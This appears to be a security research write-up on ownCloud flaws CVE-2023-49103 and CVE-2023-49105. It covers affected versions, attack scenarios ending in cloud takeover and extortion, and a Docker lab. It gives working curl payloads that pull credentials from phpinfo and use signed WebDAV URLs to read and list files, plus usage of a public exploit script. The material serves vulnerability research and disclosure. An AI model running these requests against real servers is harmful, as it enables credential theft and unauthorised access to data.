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Research & Technique 
    

 

ownCloud information exposure and authentication 

bypass vulnerability (CVE-2023-49103/ CVE-2023-49105) 
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ownCloud 
ownCloud Docker of graphapi 0.2.0 - 0.3.0 version 

(Docker image after February 2023) 

※. Even if the environment is not configured with Docker, vulnerability occurs if vulnerable graphapi is installed. 

ownCloud 10.6.0 - 10.13.0 
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① The attacker searches for a vulnerable ownCloud server using OSINT5 tools such as shodan. 

② The attacker uses the CVE-2023-49103 vulnerability to acquire credentials after accessing the server’s phpinfo file. 

③ The attacker uses the acquired credentials to log in to the ownCloud server and take control of the server. 

④ The attacker acquires the credentials of another connected cloud stored in the server. 

⑤ The attacker takes control of other connected cloud resources using the acquired credentials. 
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① The attacker searches for a vulnerable ownCloud server using OSINT tools such as shodan. 

② The attacker uses the CVE-2023-49105 vulnerability to access important files and source codes within the 

server. 

③ After altering and deleting files on the server, the attacker threatens the administrator and extorts money 

under the pretext of recovering files. 

④ Also, the attacker gets money by selling important information acquired from the server on the dark web. 
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Name Information 

Victim 
Ubuntu-22.04.1 

Docker image: ownCloud/server 10.12.1 

Attacker Ubuntu-22.04.1 

※ When the vulnerability is tested, it is assumed that as a connection is made to an AWS-based cloud, IAM information is included. 
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Command 
$ docker-compose up -d  

-d option: an option to run docker in the background in detach mode 

※ At this time, the attacker's address must be added to OWNCLOUD_TRUSTED_DOMAINS. The setting value is an IP that allows 

connection, and if the value is set safely, access is not possible from the outside. So the vulnerability cannot be exploited 
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Command 

- Sample syntax 

$ curl -i 'http://[victim server]/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo 

.php/[extension]' | grep [character string to search] 

 

- payload (search ADMIN in the 192.168.100.176:8080 ownCloud server) 

$ curl -i 'http://192.168.100.176:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests/Ge 

tPhpInfo.php/.css' | grep ADMIN 

※ -i option: a command to display header information 

 

 

 

Extensions that can be bypassed 

.css .js .svg .gif .png 

.html .woff .ico .jpg .jpeg 

.json .properties .min.map .js.map .auto.map 
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Command 

$ git clone https://github.com/ambionics/owncloud-exploits 

A sample attack syntax is as follows: 

$ python3 pwncloud-webdav.py http://[attacker server: port] [ID information] 

$ python3 pwncloud-webdav.py http://192.168.100.176:8080 eqst 

※ At this time, the attacker's address must be added to OWNCLOUD_TRUSTED_DOMAINS. The setting value is an IP that allows 

connection, and if the value is set safely, access is not possible from the outside. So the vulnerability cannot be exploited. 

 

  

https://github.com/ambionics/owncloud-exploits
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6 mod_rewrite: a module that redirects server requests to another URL or file according to established rules. 
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Extensions that 

can be bypassed 
Description 

.css 
CSS (Cascading Style Sheets) is a file format that defines how HTML elements are displayed 

on the screen. 

.js It is a file format that contains JS (JavaScript) codes for execution on a web page. 

.svg 
SVG (Scalar Vector Graphics) is an XML-based text file format for describing the shape of an 

image. 

.gif 
GIF (Graphics Interchange Format) is an animation clip or short video file format that 

combines numerous images or frames into a single file. 

.png 
PNG (Portable Network Graphic) is an image file format that supports lossless data 

compression to express graphics on the web. 

.html 
HTML (Hypertext Markup Language) is a file format used to structure web pages and their 

contents. 

.woff woff is a web font file format based on WOFF (Web Open Font Format). 

.ico This is an image file format used as an icon representing an application. 

.jpg 

.jpeg 
It is short for JPEG (Joint Photographic Experts Group). It is a file format for digital images. 

.json 
JSON (JavaScript Object Notation) is a standard file format for data sharing, i.e. storing and 

transmitting data using human-readable texts. 

.properties 
properties is a file format that primarily uses Java-related technologies to store configurable 

parameters of an application. 

.min.map 

.js.map 

.auto.map 

The map file created when building an application is a file format that records the addresses 

where global variables and functions will be located when the built execution file is loaded 

into memory. 

 

  



 

EQST insight | 13 

 

 

 

 

  



 

EQST insight | 14 

 

 

Argument Description Example 

OC-Signature User ’s signature value 64-bit-long hash character string 

OC-Credential  User name Admin, user, etc. 

OC-Date Signature expiration date 2023-12-20 

OC-expires Validity period of the signature (default value) 1200  

OC-Verb HTTP Method GET, POST 

OC-Algo Algorithm used 
PBKDF2 based sha512 iteration count 

10000 
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WebDAV 

path 

- WebDAV path 

[victim server]/remote.php/dav/files/[user ID]/[file path]?OC-Credential=[user ID]&OC-

Date=[date]&OC-Expires=[expiration date]&OC-Verb=[HTTP method] 

 

- Example 

192.168.100.176:8080/remote.php/dav/files/eqst/Documents/EQST_Lab.txt?OC-Credential=eqst&OC-

Date=2024-12-20&OC-Expires=1200&OC-Verb=GET 

- Hash creation (see site: https://onlinephp.io/hash-pbkdf2) 

 

 

https://onlinephp.io/hash-pbkdf2
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Command 

- file access (GET method) 

$ curl 'http://192.168.100.176:8080/remote.php/dav/files/eqst/Documents/EQST_Lab.txt?OC-

Credential=eqst&OC-Date=2024-12-20&OC-Expires=1200&OC-Verb=GET&OC-

Signature=fed39dfd4203d17f220599b7f99fda4c7193c557ed257ec83d6ae009bed7594f' 

 

- file explore (PROPFIND method) 

$ curl -X PROPFIND "http://192.168.100.176:8080/remote.php/dav/files/eqst/Documents?OC-

Credential=eqst&OC-Date=2024-12-20&OC-Expires=1200&OC-Verb=PROPFIND&OC-

Signature=c566237b5b34e3490099a435c725f1c4a8f8f5c8e1cb7b3b9631fa06f36220ee" 
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